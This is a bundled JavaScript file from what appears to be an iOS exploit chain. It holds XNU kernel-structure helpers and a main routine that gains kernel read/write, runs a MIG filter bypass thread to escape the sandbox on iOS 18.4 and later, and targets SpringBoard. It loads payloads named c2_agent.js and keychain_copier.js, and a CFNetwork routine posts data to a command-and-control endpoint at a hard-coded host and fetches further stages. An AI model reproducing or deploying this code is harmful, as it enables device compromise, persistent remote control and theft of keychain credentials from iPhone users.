return this.#dataView.getBigUint64(0,true);
}
set vmAddress(value)
{
this.#dataView.setBigUint64(0,value,true);
}
get address()
{
return this.#dataView.getBigUint64(8,true);
}
set address(value)
{
this.#dataView.setBigUint64(8,value,true);
}
get objectOffset()
{
return this.#dataView.getBigUint64(16,true);
}
set objectOffset(value)
{
this.#dataView.setBigUint64(16,value,true);
}
get entryOffset()
{
return this.#dataView.getBigUint64(24,true);
}
set entryOffset(value)
{
this.#dataView.setBigUint64(24,value,true);
}
}
/***/ }),
/***/ "./src/libs/TaskRop/VMShmem.js":
/*!*************************************!*\
!*** ./src/libs/TaskRop/VMShmem.js ***!
\*************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ VMShmem)
/* harmony export */ });
class VMShmem
{
#buffer;
#dataView;
constructor(buffer)
{
this.#buffer = buffer;
this.#dataView = new DataView(this.#buffer);
}
get port()
{
return this.#dataView.getBigUint64(0,true);
}
set port(value)
{
this.#dataView.setBigUint64(0,value,true);
}
get remoteAddress()
{
return this.#dataView.getBigUint64(8,true);
}
set remoteAddress(value)
{
this.#dataView.setBigUint64(8,value,true);
}
get localAddress()
{
return this.#dataView.getBigUint64(16,true);
}
set localAddress(value)
{
this.#dataView.setBigUint64(16,value,true);
}
}
/***/ }),
/***/ "./src/libs/TaskRop/VmMapEntry.js":
/*!****************************************!*\
!*** ./src/libs/TaskRop/VmMapEntry.js ***!
\****************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__),
/* harmony export */ vm_map_entry: () => (/* binding */ vm_map_entry),
/* harmony export */ vm_map_links: () => (/* binding */ vm_map_links)
/* harmony export */ });
class vm_map_links {
#__mem;
#__view;
#__addr;
#__off;
constructor(mem=undefined, off=0) {
this.#__mem = mem ? mem : new Uint8Array(0x20);
this.#__view = new DataView(this.#__mem.buffer);
this.#__off = off;
this.sizeof = this.#__mem.length;
}
get addr() { if (!this.#__addr) { this.#__addr = get_buffer_addr(this.#__mem).add(this.#__off); } return this.#__addr; }
/* previous entry */
get prev() { return this.#__view.getBigUint64(this.#__off, true); }
set prev(val) { this.#__view.setBigUint64(this.#__off, val, true); }
/* next entry */
get next() { return this.#__view.getBigUint64(this.#__off+0x8, true); }
set next(val) { this.#__view.setBigUint64(this.#__off+0x8, val, true); }
/* start address */
get start() { return this.#__view.getBigUint64(this.#__off+0x10, true); }
set start(val) { this.#__view.setBigUint64(this.#__off+0x10, val, true); }
/* end address */
get end() { return this.#__view.getBigUint64(this.#__off+0x18, true); }
set end(val) { this.#__view.setBigUint64(this.#__off+0x18, val, true); }
};
class vm_map_store {
#__mem;
#__view;
#__addr;
#__off;
constructor(mem=undefined, off=0) {
this.#__mem = mem ? mem : new Uint8Array(0x18);
this.#__view = new DataView(this.#__mem.buffer);
this.#__off = off;
this.sizeof = this.#__mem.length;
}
get addr() { if (!this.#__addr) { this.#__addr = get_buffer_addr(this.#__mem).add(this.#__off); } return this.#__addr; }
/* left element */
get rbe_left() { return this.#__view.getBigUint64(this.#__off, true); }
set rbe_left(val) { this.#__view.setBigUint64(this.#__off, val, true); }
/* right element */
get rbe_right() { return this.#__view.getBigUint64(this.#__off+0x8, true); }
set rbe_right(val) { this.#__view.setBigUint64(this.#__off+0x8, val, true); }
/* parent element */
get rbe_parent() { return this.#__view.getBigUint64(this.#__off+0x10, true); }
set rbe_parent(val) { this.#__view.setBigUint64(this.#__off+0x10, val, true); }
};
class vm_map_entry {
#__mem;
#__view;
#__addr;
#__off;
constructor(mem=undefined, off=0) {
this.#__mem = mem ? mem : new Uint8Array(0x50);
this.#__view = new DataView(this.#__mem.buffer);
this.#__off = off;
this.sizeof = this.#__mem.length;
this.links = new vm_map_links(this.#__mem, this.#__off);
this.store = new vm_map_store(this.#__mem, this.#__off+0x20);
}
get addr() { if (!this.#__addr) { this.#__addr = get_buffer_addr(this.#__mem).add(this.#__off); } return this.#__addr; }
// Union field 1
get vme_object_value() { return this.#__view.getBigUint64(this.#__off+0x38, true); }
set vme_object_value(val) { this.#__view.setBigUint64(this.#__off+0x38, val, true); }
// Union field 2
get vme_atomic() { return this.#__view.getUint8(this.#__off+0x38, true) & 1; }
set vme_atomic(val) {
let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfe;
this.#__view.setUint8(this.#__off+0x38, cur + (val & 1), true);
}
get is_sub_map() { return (this.#__view.getUint8(this.#__off+0x38, true) & 2) >> 1; }
set is_sub_map(val) {
let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfd;
this.#__view.setUint8(this.#__off+0x38, cur + ((val & 1) << 1), true);
}
get vme_submap() { return this.#__view.getBigUint64(this.#__off+0x38, true) >> 2n; }
set vme_submap(val) {
let cur = this.#__view.getBigUint64(this.#__off+0x38, true) & 3n;
this.#__view.setBigUint64(this.#__off+0x38, cur + ((val & 0x3fffffffffffffffn) << 2n), true);
}
// Union field 3
get vme_ctx_atomic() { return this.#__view.getUint8(this.#__off+0x38, true) & 1; }
set vme_ctx_atomic(val) {
let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfe;
this.#__view.setUint8(this.#__off+0x38, cur + (val & 1), true);
}
get vme_ctx_is_sub_map() { return (this.#__view.getUint8(this.#__off+0x38, true) & 2) >> 1; }
set vme_ctx_is_sub_map(val) {
let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfd;
this.#__view.setUint8(this.#__off+0x38, cur + ((val & 1) << 1), true);
}
get vme_context() { return this.#__view.getUint32(this.#__off+0x38, true) >> 2; }
set vme_context(val) {
let cur = this.#__view.getUint32(this.#__off+0x38, true) & 2;
this.#__view.setUint32(this.#__off+0x38, cur + (val << 2), true);
}
get vme_object() { return this.#__view.getUint32(this.#__off+0x3c, true); }
set vme_object(val) { this.#__view.setUint32(this.#__off+0x3c, val, true); }
// vme_alias:12, /* entry VM tag */
// vme_offset:52, /* offset into object */
get vme_offset() { return this.#__view.getBigUint64(this.#__off+0x40, true) >> 12n; }
set vme_offset(val) {
let cur = this.#__view.getBigUint64(this.#__off+0x40, true) & 0xfffn;
this.#__view.setBigUint64(this.#__off+0x40, cur + (val << 12n), true);
}
// is_shared:1, /* region is shared */
// __unused1:1,
// in_transition:1, /* Entry being changed */
// needs_wakeup:1, /* Waiters on in_transition */
// behavior:2, /* user paging behavior hint */
// needs_copy:1, /* object need to be copied? */
// protection:3, /* protection code */
// used_for_tpro:1,
// max_protection:4, /* maximum protection, bit3=UEXEC */
// inheritance:2, /* inheritance */
// use_pmap:1,
// no_cache:1, /* should new pages be cached? */
// vme_permanent:1, /* mapping can not be removed */
// superpage_size:1, /* use superpages of a certain size */
// map_aligned:1, /* align to map's page size */
// zero_wired_pages:1,
// used_for_jit:1,
// csm_associated:1, /* code signing monitor will validate */
// iokit_acct:1,
// vme_resilient_codesign:1,
// vme_resilient_media:1,
// vme_xnu_user_debug:1,
// vme_no_copy_on_read:1,
// translated_allow_execute:1, /* execute in translated processes */
// vme_kernel_object:1; /* vme_object is kernel_object */
/* can be paged if = 0 */
get wired_count() { return this.#__view.getUint16(this.#__off+0x4c, true); }
set wired_count(val) { this.#__view.setUint16(this.#__off+0x4c, val, true); }
/* for vm_wire */
get user_wired_count() { return this.#__view.getUint16(this.#__off+0x4e, true); }
set user_wired_count(val) { this.#__view.setUint16(this.#__off+0x4e, val, true); }
};
/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ({vm_map_entry,vm_map_links,vm_map_store});
/***/ }),
/***/ "./src/libs/TaskRop/VmPackingParams.js":
/*!*********************************************!*\
!*** ./src/libs/TaskRop/VmPackingParams.js ***!
\*********************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ VmPackingParams)
/* harmony export */ });
class VmPackingParams
{
#buffer;
#dataView;
constructor(buffer)
{
this.#buffer = buffer;
this.#dataView = new DataView(this.#buffer);
}
get vmpp_base()
{
return this.#dataView.getBigUint64(0,true);
}
set vmpp_base(value)
{
this.#dataView.setBigUint64(0,value,true);
}
get vmpp_bits()
{
return this.#dataView.getUint8(8,true);
}
set vmpp_bits(value)
{
this.#dataView.setUint8(8,value,true);
}
get vmpp_shift()
{
return this.#dataView.getUint8(9,true);
}
set vmpp_shift(value)
{
this.#dataView.setUint8(9,value,true);
}
get vmpp_base_relative()
{
return this.#dataView.getUint8(10,true);
}
set vmpp_base_relative(value)
{
this.#dataView.setUint8(10,value,true);
}
}
/***/ })
/******/ });
/************************************************************************/
/******/ // The module cache
/******/ var __webpack_module_cache__ = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ // Check if module is in cache
/******/ var cachedModule = __webpack_module_cache__[moduleId];
/******/ if (cachedModule !== undefined) {
/******/ return cachedModule.exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = __webpack_module_cache__[moduleId] = {
/******/ // no module.id needed
/******/ // no module.loaded needed
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = (exports, definition) => {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/
/******/ /* webpack/runtime/make namespace object */
/******/ (() => {
/******/ // define __esModule on exports
/******/ __webpack_require__.r = (exports) => {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/ })();
/******/
/************************************************************************/
var __webpack_exports__ = {};
// This entry needs to be wrapped in an IIFE because it needs to be isolated against other modules in the chunk.
(() => {
/*!*********************!*\
!*** ./src/main.js ***!
\*********************/
__webpack_require__.r(__webpack_exports__);
/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js");
/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js");
/* harmony import */ var libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/TaskRop/TaskRop */ "./src/libs/TaskRop/TaskRop.js");
/* harmony import */ var libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/TaskRop/Task */ "./src/libs/TaskRop/Task.js");
/* harmony import */ var libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! libs/TaskRop/Sandbox */ "./src/libs/TaskRop/Sandbox.js");
/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js");
/* harmony import */ var _InjectJS__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./InjectJS */ "./src/InjectJS.js");
/* harmony import */ var libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! libs/Driver/Driver */ "./src/libs/Driver/Driver.js");
/* harmony import */ var libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! libs/TaskRop/RemoteCall */ "./src/libs/TaskRop/RemoteCall.js");
/* harmony import */ var _raw_loader_dist_MigFilterBypassThread_js__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! !raw-loader!../dist/MigFilterBypassThread.js */ "./node_modules/raw-loader/dist/cjs.js!./dist/MigFilterBypassThread.js");
/* harmony import */ var _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! !raw-loader!loader.js */ "./node_modules/raw-loader/dist/cjs.js!./src/loader.js");
/* harmony import */ var _raw_loader_c2_agent_js__WEBPACK_IMPORTED_MODULE_17__ = __webpack_require__(/*! !raw-loader!c2_agent.js */ "./node_modules/raw-loader/dist/cjs.js!./src/c2_agent.js");
/* harmony import */ var _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__ = __webpack_require__(/*! !raw-loader!keychain_copier.js */ "./node_modules/raw-loader/dist/cjs.js!./src/keychain_copier.js");
class MigFilterBypass {
#running;
#sharedMem;
#runFlagPtr;
#isRunningPtr;
#monitorThread1Ptr;
#monitorThread2Ptr;
#mutexPtr;
constructor(mutexPtr) {
this.#mutexPtr = mutexPtr;
this.#running = false;
this.#sharedMem = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("calloc", 1, 0x100));
this.#runFlagPtr = this.#sharedMem;
this.#isRunningPtr = this.#sharedMem + 0x4n;
this.#monitorThread1Ptr = this.#sharedMem + 0x8n;
this.#monitorThread2Ptr = this.#sharedMem + 0x10n;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 2);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#isRunningPtr, 0);
}
start() {
if (this.#running)
return;
// Guard BigInt(undefined/false): missing mig* offsets (e.g. incomplete 18.5 tables) used to throw TypeError before PEMK-A.
let off = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets();
if (!off || off.migLock == null || off.migSbxMsg == null || off.migKernelStackLR == null) {
try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_skip_no_off"); } catch (_ms) {}
return false;
}
let threadSelf = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_thread_self"));
let portObj = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(threadSelf);
if (!portObj || portObj === false || portObj === 0 || portObj === 0n) {
try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_skip_no_port"); } catch (_mp) {}
return false;
}
let threadSelfAddr = BigInt(portObj);
let threadMem = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("calloc", 1, 0x400));
if (!threadMem) return false;
let kernelRW = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].transferRW();
if (!kernelRW || kernelRW.controlSocket == null || kernelRW.rwSocket == null) {
try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_skip_no_rw"); } catch (_mr) {}
return false;
}
let kernelBase = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].getKernelBase();
if (!kernelBase) {
try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_skip_no_kbase"); } catch (_mk) {}
return false;
}
kernelBase = BigInt(kernelBase);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem, BigInt(kernelRW.controlSocket));
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x8n, BigInt(kernelRW.rwSocket));
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x10n, kernelBase);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x18n, threadSelfAddr);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x20n, this.#runFlagPtr);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x28n, this.#isRunningPtr);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x30n, this.#mutexPtr);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x38n, BigInt(off.migLock));
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x40n, BigInt(off.migSbxMsg));
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x48n, BigInt(off.migKernelStackLR));
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x50n, this.#monitorThread1Ptr);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x58n, this.#monitorThread2Ptr);
//Native.write64(threadMem, lock.kernelSlide);
//Native.write64(threadMem + 0x8n, lock.lockAddr);
//console.log(TAG, `Spawn bypass thread with args: kernelSlide=${Utils.hex(lock.kernelSlide)}, lockAddr=${Utils.hex(lock.lockAddr)}`);
const threadCode = "fcall_init(); " + _raw_loader_dist_MigFilterBypassThread_js__WEBPACK_IMPORTED_MODULE_9__["default"];
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].threadSpawn(threadCode, threadMem);
for (let i=0; i<10; i++) {
let isRunning = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(this.#isRunningPtr);
if (isRunning)
break;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 500000);
}
this.#running = true;
return true;
}
stop() {
if (!this.#running)
return;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 0);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
this.#running = false;
}
pause() {
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 2);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
}
resume() {
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 1);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
}
monitorThreads(thread1, thread2) {
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(this.#monitorThread1Ptr, thread1);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(this.#monitorThread2Ptr, thread2);
}
}
function xnuVersion() {
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("uname", libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem);
const release = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x200n, 0x100);
let splittedVersion = release.split(".");
let xnuMajor = splittedVersion[0];
let xnuMinor = splittedVersion[1];
return {major: xnuMajor, minor: xnuMinor};
}
const TAG = "MAIN";
//const targetProcess = "bluetoothd";
const targetProcess = "SpringBoard";
function start() {
let mutexPtr = null;
let migFilterBypass = null;
globalThis.xnuVersion = xnuVersion();
let ver = globalThis.xnuVersion;
try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_xnu:" + ver.major + "." + ver.minor); } catch (_xv) {}
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 && ver.minor >= 4) {
mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100));
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null);
migFilterBypass = new MigFilterBypass(mutexPtr);
try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_ctor"); } catch (_mc) {}
}
let driver = new libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"]();
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].init(driver, mutexPtr);
let resultPE = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].runPE();
try { if (typeof pe_alive_ping === "function") pe_alive_ping(resultPE ? "pe_runPE_ok" : "pe_runPE_fail"); } catch (_rp) {}
if (!resultPE)
return;
libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__["default"].init();
if (migFilterBypass) {
try {
var __migOk = migFilterBypass.start();
if (__migOk === false) {
var __majZ = Number(ver && ver.major);
var __minZ = Number(ver && ver.minor);
// 18.6+ keep hard-fail semantics; pre-18.6 drop bypass so start() can reach PEMK stages.
if (__majZ === 24 && __minZ >= 6) {
throw new Error("mig_start_failed");
}
try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_disabled"); } catch (_md) {}
migFilterBypass = null;
}
} catch (__migErr) {
try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_exc:" + String(__migErr).substring(0, 80)); } catch (_me) {}
// Only swallow on XNU 24.x below .6 (iOS 18.4/18.5). 18.6+ rethrow — keep proven path.
var __maj = Number(ver && ver.major);
var __min = Number(ver && ver.minor);
if (__maj === 24 && __min < 6) {
migFilterBypass = null;
} else {
throw __migErr;
}
}
}
// ===== P7 Debug Logger (accumulate in memory, flush after sandbox escape) =====
var p7_tag = "[P7] ";
var p7_logBuf = "";
function p7_flog(msg) {
var line = p7_tag + msg;
try { LOG(line); } catch (_lg) {}
p7_logBuf += line + "\n";
try { p7_postLogHttp(line); } catch (_ph) {}
}
function p7_logHostPort() {
return { host: "192.168.31.130", port: 8080 };
}
function __peDeliveryHostPort() {
try {
var g = typeof globalThis !== "undefined" ? globalThis : null;
var raw = g && g.__PE_DELIVERY_HOST__;
if (raw) {
var m = String(raw).match(/^(https?):\/\/([^\/:]+)(?::(\d+))?/i);
if (m) return { host: m[2], port: Number(m[3] || (m[1].toLowerCase() === "https" ? 443 : 80)) };
}
} catch (_d) {}
return p7_logHostPort();
}
// CFNetwork HTTP (no BSD socket). method=GET|POST; wantBody→return response body string or null.
// optHp: optional {host,port} override (stage fetch uses delivery host; logs/war use p7_logHostPort).
function __labCfHttp(method, httpPath, body, wantBody, optHp) {
try {
var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"];
method = String(method || "GET").toUpperCase();
httpPath = String(httpPath || "/");
body = (body == null) ? "" : String(body);
var hp = optHp || p7_logHostPort();
var host = String((hp && hp.host) || "192.168.31.130");
var port = ((hp && hp.port) | 0) || 9011;
function __cfRd64(addr) {
var bytes = N.read(addr, 8);
if (!bytes || bytes.byteLength < 8) return 0n;
var view = new DataView(bytes);
return (BigInt(view.getUint32(4, true)) << 32n) | BigInt(view.getUint32(0, true));
}
function __cfWr64(addr, value) {
var buffer = new ArrayBuffer(8);
var view = new DataView(buffer);
var bigValue = BigInt(value);
view.setUint32(0, Number(bigValue & 0xFFFFFFFFn), true);
view.setUint32(4, Number((bigValue >> 32n) & 0xFFFFFFFFn), true);
N.write(addr, buffer);
}
var hostC = N.callSymbol("malloc", host.length + 1);
N.writeString(hostC, host);
var hostCF = N.callSymbol("CFStringCreateWithCString", 0n, hostC, 0x08000100);
try { N.callSymbol("free", hostC); } catch (_fh) {}
if (!hostCF || hostCF === 0n) return wantBody ? null : false;
var readPtr = N.callSymbol("malloc", 8);
var writePtr = N.callSymbol("malloc", 8);
__cfWr64(readPtr, 0n);
__cfWr64(writePtr, 0n);
N.callSymbol("CFStreamCreatePairWithSocketToHost", 0n, hostCF, port, readPtr, writePtr);
var readStream = __cfRd64(readPtr);
var writeStream = __cfRd64(writePtr);
try { N.callSymbol("CFRelease", hostCF); } catch (_rh) {}
try { N.callSymbol("free", readPtr); } catch (_frp) {}
try { N.callSymbol("free", writePtr); } catch (_fwp) {}
if (!writeStream || writeStream === 0n) {
if (readStream && readStream !== 0n) {
try { N.callSymbol("CFRelease", readStream); } catch (_rr) {}
}
return wantBody ? null : false;
}
try { N.callSymbol("CFReadStreamOpen", readStream); } catch (_ro) {}
var opened = N.callSymbol("CFWriteStreamOpen", writeStream);
if (!opened) {
try { N.callSymbol("CFRelease", readStream); } catch (_e1) {}
try { N.callSymbol("CFRelease", writeStream); } catch (_e2) {}
return wantBody ? null : false;
}
var ready = false;
for (var ai = 0; ai < 100; ai++) {
var st = Number(N.callSymbol("CFWriteStreamGetStatus", writeStream));
if (st === 2) { ready = true; break; }
if (st >= 5) break;
try { N.callSymbol("usleep", 100000); } catch (_u) {}
}
if (!ready) {
try { N.callSymbol("CFReadStreamClose", readStream); } catch (_e) {}
try { N.callSymbol("CFWriteStreamClose", writeStream); } catch (_e) {}
try { N.callSymbol("CFRelease", readStream); } catch (_e) {}
try { N.callSymbol("CFRelease", writeStream); } catch (_e) {}
return wantBody ? null : false;
}
var hdr;
if (method === "POST") {
hdr = "POST " + httpPath + " HTTP/1.0\r\nHost: " + host + "\r\nContent-Type: application/json\r\nContent-Length: " + body.length + "\r\nConnection: close\r\n\r\n";
} else {
hdr = "GET " + httpPath + " HTTP/1.0\r\nHost: " + host + ":" + port + "\r\nConnection: close\r\n\r\n";
body = "";
}
var full = hdr + body;
var CHUNK = 4096;
var sent = 0;
var waitLoops = 0;
while (sent < full.length && waitLoops < 2000) {
var can = N.callSymbol("CFWriteStreamCanAcceptBytes", writeStream);
if (!can) {
try { N.callSymbol("usleep", 10000); } catch (_u2) {}
waitLoops++;
continue;
}
waitLoops = 0;
var end = sent + CHUNK;
if (end > full.length) end = full.length;
var part = full.substring(sent, end);
var cbuf = N.callSymbol("malloc", part.length + 1);
N.writeString(cbuf, part);
var nw = Number(N.callSymbol("CFWriteStreamWrite", writeStream, cbuf, part.length));
try { N.callSymbol("free", cbuf); } catch (_fc) {}
if (nw <= 0) break;
sent += nw;
}
var okSend = (sent >= full.length);
var resp = "";
if (okSend) {
var rbuf = N.callSymbol("malloc", 65536);
for (var iter = 0; iter < 80; iter++) {
var has = true;
try { has = !!N.callSymbol("CFReadStreamHasBytesAvailable", readStream); } catch (_hb) { has = true; }
if (!has) {
var rst = 0;
try { rst = Number(N.callSymbol("CFReadStreamGetStatus", readStream)); } catch (_rs) {}
if (rst >= 4) break;
try { N.callSymbol("usleep", 20000); } catch (_u3) {}
continue;
}
var nr = Number(N.callSymbol("CFReadStreamRead", readStream, rbuf, 65535));
if (nr <= 0) break;
resp += N.readString(rbuf, nr);
var hi2 = resp.indexOf("\r\n\r\n");
if (hi2 >= 0) {
var clm = resp.substring(0, hi2).match(/Content-Length:\s*(\d+)/i);
if (clm && (resp.length - (hi2 + 4)) >= parseInt(clm[1], 10)) break;
if (!clm && resp.length > hi2 + 4) break;
}
}
try { N.callSymbol("free", rbuf); } catch (_frb) {}
}
try { N.callSymbol("CFReadStreamClose", readStream); } catch (_e) {}
try { N.callSymbol("CFWriteStreamClose", writeStream); } catch (_e) {}
try { N.callSymbol("CFRelease", readStream); } catch (_e) {}
try { N.callSymbol("CFRelease", writeStream); } catch (_e) {}
if (wantBody) {
if (!okSend) return null;
var hi = resp.indexOf("\r\n\r\n");
if (hi < 0) return null;
var out = resp.substring(hi + 4);
return (out.length > 0) ? out : null;
}
return okSend;
} catch (_e) { return wantBody ? null : false; }
}
function p7_postLogHttp(text) {
// MPD → C2 /api/ds/log via CFNetwork (source=pe_mpd).
try {
var uuid = "";
try { uuid = String(globalThis.__LAB_DEVICE_UUID__ || ""); } catch (_u) {}
var body = JSON.stringify({ text: String(text).slice(0, 1800), source: "pe_mpd", uuid: uuid, deviceUUID: uuid });
return !!__labCfHttp("POST", "/api/ds/log", body, false);
} catch (_pe) { return false; }
}
function p7_flushLog() {
if (!p7_logBuf) return;
try {
let p7_fd = fopen(get_cstring("/tmp/p7_debug.log"), get_cstring("a"));
if (p7_fd && p7_fd !== 0n) {
let p7_buf = get_cstring(p7_logBuf);
fwrite(p7_buf, 1n, BigInt(p7_logBuf.length), p7_fd);
fclose(p7_fd);
let p7_flushedLen = p7_logBuf.length;
p7_logBuf = "";
try { LOG(p7_tag + "log flushed to /tmp/p7_debug.log (" + p7_flushedLen + " bytes)"); } catch (_lf) {}
}
} catch (p7_fe) {
try { LOG(p7_tag + "flush failed: " + p7_fe); } catch (_le) {}
}
}
let p7_enableP7 = true;
p7_flog("PEMK-A start alive (chain+runPE done)"); p7_flushLog();
try { pe_alive_ping("pe_after_runPE"); } catch (_pa) {}
// Newest PE claims /tmp/pe_lab_run.token AFTER s1 tokens (pre-s1 /tmp write often fails).
// Until claimed, __peStillOwner() returns true so we never self-abort.
var __peRunToken = String(Date.now()) + "-" + String((Math.floor(Math.random() * 1e9) >>> 0));
var __peLockPath = "/tmp/pe_lab_run.token";
var __peRunTokenClaimed = false;
function __peStillOwner() {
if (!__peRunTokenClaimed) return true;
try {
var N0 = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"];
var fd = Number(N0.callSymbol("open", __peLockPath, 0));
if (fd < 0) return false;
var sz = Number(N0.callSymbol("lseek", fd, 0, 2));
N0.callSymbol("lseek", fd, 0, 0);
if (sz <= 0 || sz > 128) { N0.callSymbol("close", fd); return false; }
var mem = N0.callSymbol("malloc", BigInt(sz + 1));
N0.callSymbol("read", fd, mem, sz);
N0.callSymbol("close", fd);
var txt = "";
try { txt = N0.readString(mem); } catch (_rs) {
try {
var u8 = new Uint8Array(N0.read(mem, sz));
